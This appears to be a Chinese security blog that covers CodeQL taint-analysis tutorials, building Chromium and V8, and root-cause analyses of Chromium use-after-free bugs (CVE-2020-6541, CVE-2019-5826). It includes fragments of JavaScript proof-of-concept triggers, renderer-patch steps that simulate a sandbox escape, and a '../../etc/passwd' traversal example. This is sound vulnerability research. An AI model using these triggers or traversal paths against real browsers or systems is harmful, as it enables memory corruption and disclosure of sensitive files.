: 可选,添加其他流程步骤在特征谓词MyDataFlowConfiguration()
中定义了当前Configuration
的名称,因此内部的"MyDataFlowConfiguration"
需要替换成自己的名称。
使用谓词hasFlow(DataFlow::Node source, DataFlow::Node sink)
来执行全局数据流分析
1 | from MyDataFlowConfiguration dataflow, DataFlow::Node source, DataFlow::Node sink |
与局部污点追踪类似,全局污点追踪针对的是全局数据流。全局污点追踪通过其他不保留值的步骤来扩展了全局数据流。
通过继承TaintTracking::Configuration
类以使用全局污点追踪的库函数。
1 | import semmle.code.cpp.dataflow.TaintTracking |
在配置中定义了以下谓词:
isSource
:定义污点可能从何处流出isSink
:定义污点可能流入的地方isSanitizer
:可选,限制污点流isSanitizerGuard
:可选,限制污点流isAdditionalTaintStep
:可选,添加其他污染步骤使用谓词hasFlow(DataFlow::Node source, DataFlow::Node sink)
以执行污点追踪分析。
以下数据流分析用于追踪从环境变量到打开文件的数据流
1 | import semmle.code.cpp.dataflow.DataFlow |
以下污点追踪代码用于追踪从调用ntohl
到操作数组索引的数据流。该代码使用Guards
库以识别经过边界检查的表达式,同时还定义了谓词isSanitizer
以避免污点分析经过特定数据,最后定义了isAdditionalTaintStep
用于将流从边界循环添加至循环索引。
1 | import cpp |
纸上得来终觉浅,绝知此事要躬行。简单翻阅QL文档是学不到什么的,我们需要自己动手实践一下。
下面笔者将讲述github learning lab中,用于学习CodeQL的一个入门课程 - CodeQL U-Boot Challenge (C/C++)
Step1: 了解从何处获取帮助
Step2: 设置IDE
Step3: 编写一个简单的查询。在这里我们用于查询strlen
函数的定义位置。
1 | import cpp |
Step4: 分析这个简单的查询,之后查询一下memcpy
函数
1 | import cpp |
Step5: 使用不同的类以及不同的谓语。这里我们编写QL查找名为ntohs
、ntohl
以及ntohll
的宏定义。
1 | import cpp |
Step6: 使用双变量。通过使用多个变量来描述复杂的代码关系,查询特定函数的调用位置。
1 | import cpp |
Step7: 使用Step6的技巧,查询宏定义的调用位置。
1 | import cpp |
Step8: 改变select的输出。查找这些宏调用所扩展到的顶级表达式。
1 | import cpp |
Step9:编写一个类。用exists
关键字来引入一个临时变量,以设置当前类的数据集合;特征谓词在声明时会被调用以确定当前类的范围,类似于C++构造函数。
1 | import cpp |
Step10:数据流分析。若memcpy
中length
直接来自于远程,而不加以验证,那么这将会产生OOB漏洞。以下编写的CodeQL查询针对的就是这类情况,它将使用全局数据流分析技术,查出真正的CVE漏洞。
1 | import cpp |
由于chromium的多线程、多进程机制较为复杂,因此调试起来较为麻烦,通过源代码层面打log来调试显得十分必要,而且源码级调试可以大幅度降低调试难度。
同时,倘若需要某个特定版本的chromium时,委托他人代为编译也较为不便,
因此,手动编译chromium是十分必要的。在这篇文章中,笔者将自己下拉代码&编译代码的步骤列入其中,仅供参考。
由于国内神奇的网络环境,我们需要设置一下代理服务
首先在linux端下载shadowsocksr
1 | git clone git@github.com:shadowsocksrr/shadowsocksr.git |
修改shadowsocksr/user-config.json
的内容
1 | { |
然后进入shadowsocksr/shadowsocks/
,执行local.py
以启动本地socks5
1 | sudo python local.py |
还有一个server.py文件,主要用于服务器端建立ssr结点。这里我们不涉及这个,因此忽略该文件。
之后,在本地的local port
端口处(按照上面的配置信息,这里应该是52001端口),将会建立一个socks5监听端口。所有发送至该端口的数据将会被转发至远程ssr结点
使用命令
netstat -ntlp
可以查看端口信息。
socks5建立完成后,我们需要设置http/https代理转发,使得http/https数据可以被转发至socks5中。
因此我们需要下载privoxy
,之后在其配置文件中追加一句指令开启代理转发,最后启动该服务。
1 | sudo apt-get install privoxy |
代理服务已经启动完成,现在我们需要设置curl和git使用代理来访问网络。
1 | export http_proxy=http://127.0.0.1:8118 |
git代理已经设置完成,现在我们来下载最重要的工具depot_tools
,这个工具用于下拉chromium/v8代码
1 | # clone depot_tools,并且把depot_tools的目录加到PATH环境变量 |
chromium的代码下拉只要一句命令,非常简便,但必须使用git代理
1 | fetch chromium |
所有代码差不多有24G左右,下拉代码的过程中,最重要的是网络一定要好!由于git clone不支持断点续传,一旦下拉代码的过程中存在网络波动导致连接中断,那就功亏一篑了。
下拉chromium的代码只有这一条途径,别想着先下github上的代码再整依赖,这是无用的。
代码下拉好后,安装一下代码编译所需要的依赖
1 | sudo src/build/install-build-deps.sh |
如果该脚本不适用于当前linux版本,则直接尝试编译代码也可以,只不过有时候会提示某个命令无法执行而中断编译,此时只需要手动安装一下对应软件即可。
之后设置git分支
1 | # 切换分支,如果编译最新版的话,就不用这行命令 |
开始尝试编译
1 | # 生成配置文件 |
编译完成后,即可启动chromium
1 | ./out/asan_debug/chrome |
笔者启动chromium时,asan提示odr-violation
报错
1 | # Kiprey @ Kipwn in /usr/class/chromium [14:19:24] C:1 |
odr-violation
这类错误我们忽略即可,因此我们需要设置一下环境变量ASAN_OPTIONS
1 | export ASAN_OPTIONS=detect_odr_violation=0 |
之后即可正常执行chrome。
v8的代码下拉也很简单,一条命令即可,同样必须使用git代理。
1 | fetch v8 |
之后就和编译chromium一样,先设置git分支,再设置编译参数,最后开始编译
1 | cd v8 |
如果需要切换特定版本,则使用以下命令
1
2
3
4
5
6
7 # 这里的<TagName>指的就是version
# 查看对应version/tag是否存在
git tag | grep "<TagName>"
# 切换至目标version/tag
git checkout <TagName>
# 下载对应依赖项
gclient sync
编译完成后即可执行v8
1 | ./out.gn/x64.debug/d8 |
v8 还自带了gdb插件,可以让我们更加方便的使用gdb来调试v8。
在~/.gdbinit
内添加以下两行即可使用:
1 | source /path/to/v8/tools/gdbinit |
有兴趣的话还可以简单阅读一下这两个文件,这样可以更好的了解 v8 插件的使用方式。
上一篇文章中我们分析的是CVE-2020-6549。而这个漏洞与我们现在分析的CVE-2020-6541如出一辙,都是
外层循环使用迭代器来循环调用内层函数,之后该内层函数执行对应JS函数,而该JS函数会进一步执行某个函数使得外层循环所使用的迭代器失效。
因此,该分析将重点偏向于Promise的Resolve流程与POC的编写。
以下是漏洞函数的源码
1 | void USB::OnServiceConnectionError() { |
函数OnServiceConnectionError
在内部会调用Resolve
函数,它可以同步运行用户定义的JavaScript函数。如果JS函数调用USB::getDevices
函数,那么该函数将修改get_devices_requests_
哈希集合(hash_set)。
1 | ScriptPromise USB::getDevices(ScriptState* script_state, |
这样会使基于范围的for循环中所使用的迭代器无效。如此,在循环的下一个迭代中,使用失效的迭代器将会造成UAF。
该漏洞最关键的地方,其实已经在漏洞概述中几句话讲解完成了。因此我们下面的分析主要是研究Promise的调用链。这个调用链不涉及漏洞的具体细节,只是作为一个扩展来学习一下。
函数USB::OnServiceConnectionError
会在基于迭代器的for循环中调用resolver->Resolve
函数。而Resove
函数内部调用ResolveOrReject
函数
1 | // Anything that can be passed to toV8 can be passed to this function. |
ResolveOrReject
函数源码如下。注意函数的最后一行,如果没有特殊情况,则该ScriptPromiseResolver将调用ResolveOrRejectImmediately()
以立即Resolve
或Reject
。
1 | template <typename T> |
在之前的函数调用中,ScriptPromiseResolver所设置的state_
为kResolving
,因此执行resolver_.Resolve
函数。
1 | void ScriptPromiseResolver::ResolveOrRejectImmediately() { |
从ScriptPromise::InternalResolver::Resolve
函数以后的函数调用就涉及到V8了,这里我们就不再展开。
1 | void ScriptPromise::InternalResolver::Resolve(v8::Local<v8::Value> value) { |
这里我们需要回溯onServiceConnectionError
函数的调用链。通过在线源码的交叉引用,我们可以发现在函数USB::EnsureServiceConnection
中,USB::OnServiceConnectionError
函数将会被设置为某个service的disconnection_handler
。
也就是说,当该service被关闭后,我们的目标函数OnServiceConnectionError
将会被自动调用。
1 | void USB::EnsureServiceConnection() { |
那么现在有两个问题
第一个问题,如何执行USB::EnsureServiceConnection
函数?显而易见,如果该函数没有被执行,那么OnServiceConnectionError
函数就不会被绑定,那就更别说调用了。
还是通过交叉引用,我们可以发现USB::getDevices
函数会调用EnsureServiceConnection
函数。
1 | ScriptPromise USB::getDevices(ScriptState* script_state, |
因此我们可以通过执行USB::getDevices
函数来执行EnsureServiceConnection
函数,为未来执行OnServiceConnectionError
函数做好准备。
同时,通过执行getDevices
函数,当触发onServiceConnectionError
函数时,get_devices_requests_
集合不为空,这样就可以进一步执行其中的Reslove
方法。
综上,执行getDevices
函数可以完美的达到我们的预期目的,一箭双雕。
第二个问题,我们如何触发service的关闭?
通过审计USB::EnsureServiceConnection
函数的代码,我们可以发现,service在该函数中绑定了某个mojo IPC管道。如果我们能够触发该IPC管道的关闭,那么就可以触发service的disconnect_handler,最终也就能执行我们的目标函数onServiceConnectionError
。
而关闭mojo IPC管道最简单的方式就是——关闭浏览器tab。
因此最终我们可以编写以下代码来触发onServiceConnectionError
函数。
1 | <body> |
如图所示,成功触发:
现在,我们已经可以通过构造特定的JS代码来执行onServiceConnectionError
函数,进而执行其中的reslover->Resolve
语句。问题是,我们如何使这个Promise在Resolve时可以执行我们所指定的JS代码。
为便于分析,再贴一下
USB::OnServiceConnectionError
函数源码
1 | void USB::OnServiceConnectionError() { |
初始时笔者尝试使用JS中的then
操作,但通过本地调试发现无法达到预期目的。
尚未明确无法成功的原因,查找该原因可能需要对Promise机制有更深的理解。
1 | <html> |
但我们可以转换一个方向:由于OnServiceConnectionError
函数中执行的Resolve
函数,所传入的值为HeapVector<Member<USBDevice>>(0)
。因此在JS层面中,返回的是一个空数组Array(0)
。
我们可以利用JS中的Array.prototype.__defineGetter__()
API来设置回调函数。
__defineGetter__
方法可以将一个函数绑定在当前对象的指定属性上,当那个属性的值被读取时,你所绑定的函数就会被调用。 - MDN
1 | Array.prototype.__defineGetter__('then', () => { |
这样,当OnServiceConnectionError
函数返回一个Array时,即可调用我们所设置的JS代码。
如此,最终便可以得到我们的POC代码。
1 | <html> |
漏洞提交者的asan log如下
1 | ================================================================= |
与之前分析的CVE-2020-6549一样,新的补丁都是在迭代前先将集合复制一份,之后再迭代新复制出的集合。
1 | void USB::OnServiceConnectionError() { |
多线程 程序中,由于没有及时为资源上锁,而导致该资源被另一个线程所修改时,因为其他的不当操作而造成漏洞。
例子:
1 | // 多线程代码 |
copy_from_user
时,由于user_buf
只是映射而为分配实际内存,所以当该内存被使用时,会触发内存缺页中断,使CPU执行内存缺页处理程序。此时copy_from_user
函数将会暂停执行,等待内存缺页处理程序返回。ptr
释放,并使某个重要结构申请到这块刚刚被释放的内存。则就可以对这个重要结构进行修改整数之间做运算的结果超过范围,导致上溢或下溢
该漏洞是相当常见的,因为大多数情况下代码中都没有考虑运算的溢出
例子
例1
1 | // dataLen可控 |
例2
1 | int total_len; |
整数溢出的判别方式
溢出肯定不是这么判别的(笑)
注: 变量metaLen与dataLen都是int类型
1 | // dataLen可控 |
而通常是这样判别的
1 | // dataLen可控 |
但是当判别表达式比较繁杂的时候
1 | // dataLen可控 |
此时还是会造成整数溢出。
所以正确的判别式应该是将用户可控变量与用户不可控变量分开
1 | if(用户可控变量 < (用户不可控变量1 op 用户不可控变量2 ...)) |
这方面要多加小心。
当程序对文件进行操作,需要其绝对地址时,程序会将当前工作目录的地址与程序名称进行拼接,以获得绝对地址
/home/kiprey/
+targetFilename
=/home/kiprey/targetFilename
但如果这个targetFilename
不守规矩呢?
例如
targetFilename
=../../etc/passwd
则此时拼接起来的绝对地址为/home/kiprey/../../etc/passwd
,实际上就是/etc/passwd
,指向敏感文件
这便是目录遍历漏洞
可能有人会问,文件名不是不能包含/
么?的确是这样,但数据文件中的数据却可以包含/
例如,读取某个数据文件内的数据,这个数据是某个文件名。然后获取该指定文件的绝对地址,并将其发送
此时数据文件内的文件名就不受影响,可以内含反斜杠,因为此时其只是一段数据。
如果这个数据文件是精心构建的,那很有可能会把敏感文件发送出去。
以CVE-2020-6541、CVE-2020-6549为例,该类漏洞大多都是按这样的一个流程来触发UAF漏洞的
1 | 循环迭代某个元素集合Set,以执行函数A |
这样,当控制流从函数M依次向上返回至最上的迭代循环后,由于所遍历的元素集合被修改,因此下一次所使用的迭代器将失效。这样就会造成UAF漏洞。
漏洞函数 - vuln src
1 | void MediaElementEventListener::UpdateSources(ExecutionContext* context) { |
当media元素加载跨域URL时,函数UpdateSources
将会通知相关的MediaStreamSource
对象。而在遍历sources_
集时,它可能会通过以下调用路径来调度JS事件。
1 | MediaElementEventListener::UpdateSources |
而攻击者可以为相应的MediaStreamTrack
对象注册一个事件处理程序,该事件处理程序将在media元素上调用一个虚假的loadedmetadata
事件,以重新调用UpdateSources
函数,并调整其sources_
集合的大小。而这将使得外层的UpdateSources
调用中基于范围的for循环语句所使用的迭代器无效。 当执行返回到外部调用时,该函数尝试从迭代器中获取下一个元素,此时所使用无效的迭代器将导致UAF。
漏洞函数MediaElementEventListenerL::UpdateSources
在内部会执行DidStopMediaStreamSource
函数来处理所有的MediaStreamSource
对象。而处理sources_前首先要满足的条件是跨域
1 | void MediaElementEventListener::UpdateSources(ExecutionContext* context) { |
对于每个sources
,函数DidStopMediaStreamSource()
将会获取其对应的WebPlatformMediaStreamSource
并执行StopSouces()
函数。
1 | void DidStopMediaStreamSource(MediaStreamSource* source) { |
在StopSources
函数中,我们主要关注函数FinalizeStopSource()
1 | void WebPlatformMediaStreamSource::StopSource() { |
在FinalizeStopSource()
中,函数会对当前的WebPlatformMediaStreamSource
类实例的Owner(即一个WebMediaStreamSource
类实例)执行SetReadyState()
函数,以设置其状态
1 | void WebPlatformMediaStreamSource::FinalizeStopSource() { |
而这里所执行的SetReadyState()
实际上只是一个Wrapper,它的内部会继续调用MediaStreamSource::SetReadyState()
函数。
这里的
private_
指针是MediaStreamSource
类型的。WebMediaStreamSource
内部拥有一个指向MediaStreamSource
类的指针。此时这里出现了
WebPlatformMediaStreamSource
、MediaStreamSource
以及WebMediaStreamSource
这三种MediaStreamSource,他们之间的关系不需要细究,这里只需了解其中的函数调用链即可。
1 | void WebMediaStreamSource::SetReadyState(ReadyState state) { |
在MediaStreamSource::SetReadyState
函数中,函数内部会继续调用observer->SourceChangedState()
。Observer
类是一个虚基类,不过我们可以通过交叉引用,来确认在该函数中,Observer
是一个MediaStreamTrack
类型。即该函数最终调用的是MediaStreamTrack::SourceChangedState()
1 | void MediaStreamSource::SetReadyState(ReadyState ready_state) { |
MediaStreamTrack::SourceChangedState()
函数是一个重头戏。这里笔者先贴出该函数的源码,然后再继续说明。
1 | void MediaStreamTrack::SourceChangedState() { |
在该函数内部将会执行DispatchEvent
函数,不同的switch分支将会dispatch不同的事件,分别是mute
、unmute
以及ended
事件。与之相对的,在JS中有对应这三个事件的事件处理程序:
以下JS资料节选自MediaStreamTrack - MDN
事件处理
MediaStreamTrack.onmute
这是
mute
事件在这个对象被触发时调用的事件处理器EventHandler
,这时这个流被中断。
MediaStreamTrack.onunmute
这是
unmute
事件在这个对象上被触发时调用的事件处理器EventHandler
,未实现。
MediaStreamTrack.onended
这是
ended
事件在这个对象被触发时调用的事件处理器EventHandler
,未实现。
也就是说,如果我们在JS接口处实现了一个这样的事件处理函数,那么在dispatch事件时,将会执行JS中对应的事件处理函数。
需要注意的是,在
MediaStreamTrack::SourceChangedState()
中一旦执行DispatchEvent
函数,那么在执行对应事件处理函数中的JS代码时,render进程的控制流将始终位于所执行的DispatchEvent
函数内部。换句话说,只有当JS中的事件处理函数执行结束后,render才会从刚刚所执行的DispatchEvent
函数中返回,并一步一步向上返回。
而这也是漏洞的关键。我们如果构造一个特殊的事件处理函数,那么就可以试着二次调用UpdateSources
函数。即函数调用链可以是这样的:
1 | ... |
上面中乱入的V8即解释JS代码的引擎。render将在进入DispatchEvent
函数的基础上,在内部使用V8引擎来解释事件处理函数中的JS代码,并进一步调用该JS代码所对应的render内部函数UpdateSources
。
基本的调用思路有了,现在的一个问题是,我们该构造哪个事件的事件处理函数呢?这里推荐ended
事件,因为这个事件最容易触发,例如跨域操作就会触发该ended事件。
在讲解这部分前,先再次阅读漏洞触发的函数调用
阅读时注意每个函数所属的类名称。
1 | MediaElementEventListener::UpdateSources |
现在我们已经可以尝试通过MediaStreamTrack对象来执行DispatchEvent事件,但问题是,如何调用最顶层的UpdateSources
?
注意到UpdateSources
函数所在的类为MediaElementEventListener
,我们试着在API - MDN中搜索MediaElement
,果然在JS API中找到了HTMLMediaElement
对象 - HTMLMediaElement - MDN
顺着函数调用链,发现由于UpdateSources
函数深层调用中会调用WebPlatformMediaStreamSource::StopSource
,因此我们试着在HTMLMediaElement
的API说明中搜索WebPlatformMediaStreamSource
相关的字符串。并最终找到了JS对象MediaStream
。
在查阅
HTMLMediaElement
的API时,发现了一个函数HTMLMediaElement.crossOrigin
。这个函数的发现可以间接佐证修改HTMLMediaElement
的src
成员属性可以触发跨域事件
在HTMLMediaElement
JS API中我们找到了这个对象相关的几个API,不过这里我们只关注HTMLMediaElement.captureStream()
,该函数会获取当前HTMLMediaElement
中的MediaStream
。这样,我们就可以将HTMLMediaElement
对象与MediaStream
对象联系起来。
MediaStream
接口是一个媒体内容的流.。一个流包含几个轨道(track),比如视频和音频轨道。MediaStream - MDN。 MediaStream
接口中存在几个事件处理函数与方法。这里我们只介绍两种:
MediaStream.onaddtrack
事件处理器。当一个MediaStreamTrack
被添加到流后会触发该事件处理器。我们可以利用这个事件来确保在MediaStreamTrack
加载后再来执行跨域操作,避免出现一些意外的问题。MediaStream.getTracks
函数。通过该函数我们可以获取MediaStream
对象内部的MediaStreamTrack
对象。这样,我们便串起了HTMLMediaElement - MediaStream - MediaStreamTrack
。
最后一个问题,我们是通过HTMLMediaElement
JS对象来一步一步的触发UAF,但我们在具体实现POC时,无法直接用JS构造HTMLMediaElement
对象。通过查阅MDN中相关信息,我们可以试着构造一下HTMLAudioElement
对象。这个对象是由HTMLMediaElement
派生出来的JS对象,而该对象的constructor是Audio()
。
所以最后我们构建出的基本测试代码如下:
1 | <script> |
通过以上的分析,我们可以尝试在UpdateSources
函数内部,再次调用JS代码(指JS事件处理函数中的代码)。那么我们该如何通过JS代码再次调用UpdateSources
函数呢?
在执行跨域操作时断下并打印stackframe,我们可以发现一个特殊函数:MediaElementEventListener::Invoke
这里我们找出其源代码,将无关代码精简后如下所示:
1 | void MediaElementEventListener::Invoke(ExecutionContext* context, |
我们可以很容易的理解,Invoke
函数负责事件的分发操作。当我们用JS来对某个对象执行dispatchEvent
函数来分发事件时,最终render会执行到该函数中。
在这里我们只需绕过两个判断条件即可执行到UpdateSources
函数,即传入的event->type()
必须为event_type_names::kLoadedmetadata
。通过交叉引用查询可知,该类型所对应的字符串为loadedmetadata
。
因此,我们可以编写如下语句来调用UpdateSources
函数。
1 | audio.dispatchEvent(new Event('loadedmetadata')); |
现在,我们已经可以通过内层UpdateSources
函数向sources_
集合中插入元素。
但我们如何使最外层的UpdateSources
函数所使用的下一个迭代器失效呢?这里就涉及到sources_
集合的结构。
但由于Chrome中的数据结构通常是一个个基本结构所派生出来的,所以我们可以直接查看souces_.insert
函数中的交叉引用,来找到sources_
实际使用的插入函数是哪一个数据结构的基本操作。
最后我们可以找到实际调用的insert函数是HashTable的。
1 | void MediaElementEventListener::UpdateSources(ExecutionContext* context) { |
这里给出HashTable::insert
的部分源码,不过我们只关注其中的部分内容
1 | /* ... */ |
在插入元素的过程中,当哈希表的空间大小不足,需要扩张哈希表空间时,程序将会开辟一块新的内存空间,但原来的空间将会被删除。一旦原先空间被删除,那么就会使得基于指针的旧哈希表迭代器失效!
这样,我们就可以使外层UpdateSources
所使用的哈希表迭代器失效,进而触发UAF。
这里需要提一下Chrome中的HashTable结构。与SGI STL中的哈希表有点不同,该结构似乎没有使用桶(Bucket),而是简单的一个一维数组,使用哈希值进行索引。
因此其迭代器的递增操作也只是简单的一个指针移动操作。
所以在JS事件处理函数onended
中,我们需要执行以下JS代码
1 | // 通过重复调用UpdateSources函数以达到大量插入元素,最终扩展内存空间,使得原迭代器无效的目的 |
将上面的JS代码组合一下就是下面的POC。
注:调试POC时必须在本地打开一个WebServer,而不是直接用File协议加载html代码。
audio.mp3
这里的音乐文件一定是要可以正常播放的文件,而不是随便某个文件改名为audio.mp3
。这样JS代码中stream.getAudioTracks()
返回的才不会是空的列表。
poc.html
1 | <html> |
这是漏洞提交者打印出的Asan log
1 | ==1==ERROR: AddressSanitizer: use-after-poison on address 0x7ef4388d0ab8 at pc 0x7f87439d82fd bp 0x7ffdcd9cd990 sp 0x7ffdcd9cd988 |
修复后的函数如下 - fixed src
与原先的代码相比,修复后的函数在调用updateSources
时,多了一个复制集合操作,不再直接遍历sources_
集。这样即便内层UpdateSources
修改了sources_
集,也不会影响到外层UpdateSources
函数所使用的迭代器了。
1 | void MediaElementEventListener::UpdateSources(ExecutionContext* context) { |
CVE-2019-5826是Google Chrome里IndexedDB中的Use-after-free漏洞,在版本73.0.3683.86之前该漏洞允许攻击者通过搭配render的RCE漏洞来造成UAF并沙箱逃逸。
笔者所使用的chrome版本为73.0.3683.75
(源码)。下载源码并打上patch,之后编译运行即可(在此感谢@sad提供的二进制文件,没有编译环境的穷人留下了泪水 T_T)
patch如下。至于为什么要打上patch,笔者将在下面详细介绍。
1 | // third_party/blink/renderer/modules/indexeddb/web_idb_factory_impl.cc |
从chrome源码中依次复制
indexed_db_database.cc
indexed_db_factory_impl.cc
web_idb_factory_impl.cc
indexed_db_connection.cc
等文件中的源码,并将其保存至当前目录中的chromeSrc
文件夹。这样做的目的是为了在调试时可以使用源代码。
没有源码的调试chrome实在是太痛苦了QwQ
老样子,使用gdb脚本来辅助调试
1 | # gdbinit |
这里没有设置
--headless
,是因为chrome单次刷新页面的速度比gdb重启chrome的速度快上很多,这样每次修改完exploit/poc
后只需点击刷新即可。
输入以下命令即可开启调试
1 | gdb -x gdbinit |
如果执行时提示No usable sandbox!
,执行以下命令
1 | sudo sysctl -w kernel.unprivileged_userns_clone=1 |
机器重启后该命令将会失效,届时需要重新执行。
Chrome中IndexedDB的大部分是在浏览器进程中实现。 浏览器和渲染中都存在几个不同的mojo IPC接口,用于进程之间的通信,并且使得沙盒渲染能够执行IndexedDB的操作。
IndexedDBFactory mojo接口是渲染的主要入口点。 大多数操作(打开、关闭数据库等)都是通过IndexedDBFactory实例来进一步操作IndexedDatabase实例(注意这句话)。
IndexedDB有关于数据库和连接的概念。 对于Chrome-IndexedDB,分别由IndexedDBDatabase
和IndexedDBConnection
类表示。 在某一时间段内可以存在对同一数据库的多个连接,但是每个数据库只有一个IndexedDBDatabase对象。
另一个要理解的重要概念是请求。 打开和删除数据库操作不可能同时发生,但会规划执行相应操作的请求。 通过IndexedDBDatabase::OpenRequest
和IndexedDBDatabase::DeleteRequest
类可以实现这些功能。
OpenRequest
类和DeleteRequest
类是声明在IndexedDBDatabase
类中的,换句话说这两个类都是IndexedDBDatabase
类的子类。
IndexedDBDatabase对象是一种引用计数(Reference counted)的对象。 针对该对象的计数引用被保存在IndexedDBConnection对象、IndexedDBTransaction对象或其他正在进行或待处理的请求对象中。 一旦引用计数降至0,会立即释放对象。
释放数据库对象后,会从数据库映射中删除指向IndexedDBDatabase的相应原始指针,这点非常重要。
我们顺便简单了解一下IndexDB的JS API
1 | dbName = "mycurrent"; |
具体IndexedDB 的细节我们将在下节详细讲解。
在讲解漏洞代码之前,我们先了解一下IndexedDBDatabase::connections_
成员变量。connections_
集合存储着当前连接至IndexedDatabase
的所有连接。当有新connection连接至数据库,或某个connection被中断时,该connections_
变量都会被修改(执行insert或remove函数)。而该关键变量是一个list_set
类型的成员。
1 | class CONTENT_EXPORT IndexedDBDatabase { |
list_set
类型是list
与set
的结合体,这里我们只需关注该结构体的end
函数。
1 | iterator end() { return iterator(list_.end()); } |
可以看到,list_set::end
函数返回的是list的迭代器。
该成员变量保存了所有指向打开的IndexedDatabase
的原始指针
注意,直接使用C++的原始指针通常是一个比较危险的事情。
1 | class CONTENT_EXPORT IndexedDBFactoryImpl : public IndexedDBFactory { |
当打开一个新的数据库时,指向该数据库的原始指针将会被添加进database_map_
中;同样当关闭一个数据库时,指向该数据库的原始指针将会从database_map_
中被移除。
我们先来简单了解一下删除数据库的流程。
当JS中执行indexedDB.deleteDatabase
函数时,通过render与chrome之间的IPC通信,chrome进程会执行IndexedDBFactoryImpl::DeleteDatabase函数,在该函数中,程序会进一步调用对应IndexedDBDatabase
的DeleteDatabase
函数来处理对应的数据库。
1 | void IndexedDBFactoryImpl::DeleteDatabase( |
在IndexedDBDatabase::DeleteDatabase中,程序会添加一个DeleteRequest
到当前IndexedDatabase
中的待处理请求列表中,当数据库处理到DeleteRequest
时,数据库就会马上关闭。这样做的目的是为了在剩余的请求(DeleteRequest
前的所有请求)全部处理完之后,再关闭当前数据库。
1 | void IndexedDBDatabase::DeleteDatabase( |
但是倘若设置了force_close
标志后,则程序将会进一步执行ForceClose
函数来强制关闭所有的request
和connection
。但是,第二段用于遍历关闭连接的代码在修改connections_
时并不安全。(漏洞点!)
1 | void IndexedDBDatabase::ForceClose() { |
在第二个用于关闭connection的循环中,程序会执行connection->ForceClose()
,即IndexedDBConnection::ForceClose函数,以强制关闭该connection。而为了在IndexedDBDatabase
中释放当前连接在数据库中所占用的资源,在这个函数中,程序会进一步调用IndexedDBDatabase::Close
函数。
1 | void IndexedDBConnection::ForceClose() { |
IndexDBDatabase::Close函数会依次执行一系列操作,但这里我们只关注两个操作。该函数中,程序会先在connection_
集合中删除当前连接,之后执行active_request_->OnConnectionClosed
函数。
1 | void IndexedDBDatabase::Close(IndexedDBConnection* connection, bool forced) { |
OnConnectionClosed
函数中会先判断当前待处理connection是否被过早关闭。
1 | void OnConnectionClosed(IndexedDBConnection* connection) override { |
如果当前连接类型不为pending connection
,即该连接并非被过早关闭(即正常情况,正常情况是比异常情况更容易触发的),并且当前连接为connections_中的最后一个连接。则该函数会执行StartUpgrade函数,StartUpgrade
函数内部会使得IndexedDBDatabase创建一个新的pending connection至connections_列表中。
1 | // Initiate the upgrade. The bulk of the work actually happens in |
这样,connections_
集合元素将不为0。当控制流从OnConnectionClosed
函数返回时,便无法通过下面的判断。这样,就无法执行factory_->ReleaseDatabase
。
预期情况是,当最后一个连接被erase后,一定进入下面的if语句以执行
factory_->ReleaseDatabase
,但在这里显然是一个非预期情况。
1 | void IndexedDBDatabase::Close(IndexedDBConnection* connection, bool forced) { |
而factory_->ReleaseDatabase
函数会将指向当前数据库的原始指针从database_map_
中删除,也就是说,若IndexedDBFactoryImpl::ReleaseDatabase
不被执行,则该原始指针就一直保存在database_map_
中。
1 | void IndexedDBFactoryImpl::ReleaseDatabase( |
最终,database_map_
中保留的原始指针并没有被删除。
同时,当控制流返回IndexedDBDatabase::ForceClose
函数时,由于connections_
集合既执行了erase
函数,又执行了insert
函数,因此在下一次判断循环条件it != connections_.end()
时,connection_
集合中仍然存在connection(尽管此时的连接非彼时的连接),connection_集合的元素个数将保持不变。
而end
函数返回的是list
的迭代器,所以返回的end
迭代器将保证不变,而it++
,因此将跳出该循环,结束连接的终止操作。
但最重要的是,IndexedDBFactoryImpl::database_map
中仍然保留指向当前数据库的原始指针。该指针本应该在当前循环执行结束时被移除,但这里却没有被移除。
1 | void IndexedDBDatabase::ForceClose() { |
现在,我们可以成功将指向当前IndexedDatabase
的一个原始指针保存至本不该保存的地方(指database_map
)。而我们下一步要做的就是尝试将当前IndexedDatabase
所使用的内存释放。
IndexedDBDatabase对象是一种引用计数(Reference counted)的对象。 针对该对象的计数引用被保存在IndexedDBConnection对象、IndexedDBTransaction对象或其他正在进行或待处理的请求对象中。 一旦引用计数降至0,会立即释放对象。(以免忘记,这段又重复了一遍)
1 | class CONTENT_EXPORT IndexedDBConnection { |
也就是说,一旦我们将所有与当前IndexedDBDatabase对象相关的Connection和Transaction对象全部释放,那么当前IndexedDBDatabase就会因为引用计数为0而自动释放。
Issue941746给出了一种方法 —— 通过调用IndexedDBFactoryImpl::AbortTransactionsForDatabase
来释放IndexedDBDatabase对象。
1 | // 函数调用call |
执行AbortTransactionsForDatabase
函数将会释放所有的IndexedDBConnection
以及IndexedDBTransaction
,进而释放IndexedDatabase
对象,如此就能达到我们想要释放某个IndexedDatabase对象的目的。
这里贴出IndexedDBTransaction::Abort函数的关键代码。请注意函数内部的注释。
1 | void IndexedDBTransaction::Abort(const IndexedDBDatabaseError& error) { |
根据上面的分析,我们可以得出,当顺序调用这三个函数时,我们便可以成功使database_map
中保存一个指向已被释放内存的悬垂指针。
Open(db1)
DeleteDatabase(db1, force_close=True)
AbortTransactionsForDatabase
之后,我们只需通过Heap Spray将这块被释放的内存重新分配回来即可利用。
但这里有个问题,如何在render进程中通过IndexedDBFactory来调用这三个函数呢?实际上,render的JS接口可以调用IndexedDB的open
和deleteDatabase
,但无法调用AbortTransactionsForDatabase
接口。同时,这里存在一个问题,我们无法保证browser进程中的函数执行顺序如我们所期待的那样,因为Js中IndexedDB接口大多都是异步的,因此browser中的这三个函数可能无法依次、完全的完成执行。
但我们又必须在render进程中依次同步执行这三个函数,而这就是为什么该漏洞只能在render RCE
的基础上利用的原因了。
由于 render RCE
可以给render进程自己打上patch,所以就可以在render进程中打patch以保证这三个函数可以被同步调用(即依次执行)。
这也是为什么在环境搭建时要在chrome源码中打上patch的原因,因为手动打上patch可以模拟render RCE 打patch的结果。
1 | // third_party/blink/renderer/modules/indexeddb/web_idb_factory_impl.cc |
笔者在issue 941746
提供的poc上做了一点修改,新构造的POC删除了无用的语句,并使Chrome触发Crash
1 | <html> |
Chrome成功crash
图中多输出的
nice
,为chrome打patch时多添加的一条printf语句该语句的输出表示patch部分代码被执行。
以下是chrome团队修复后的代码。该patch彻彻底底将connections_
集合中的所有连接全部关闭。patch前的代码依赖迭代器来判断是否全部关闭所有连接,而patch后的代码使用集合元素个数来进行判断,某种程度上使得代码更加安全。
1 |
|
Chrome Issue 941746: Security: UAF in content::IndexedDBDatabase
通过IndexedDB条件竞争实现Chrome沙箱逃逸(上)
该文章并没有涉及我们当前所研究的UAF漏洞,但即便如此,它仍然提供了一些关于
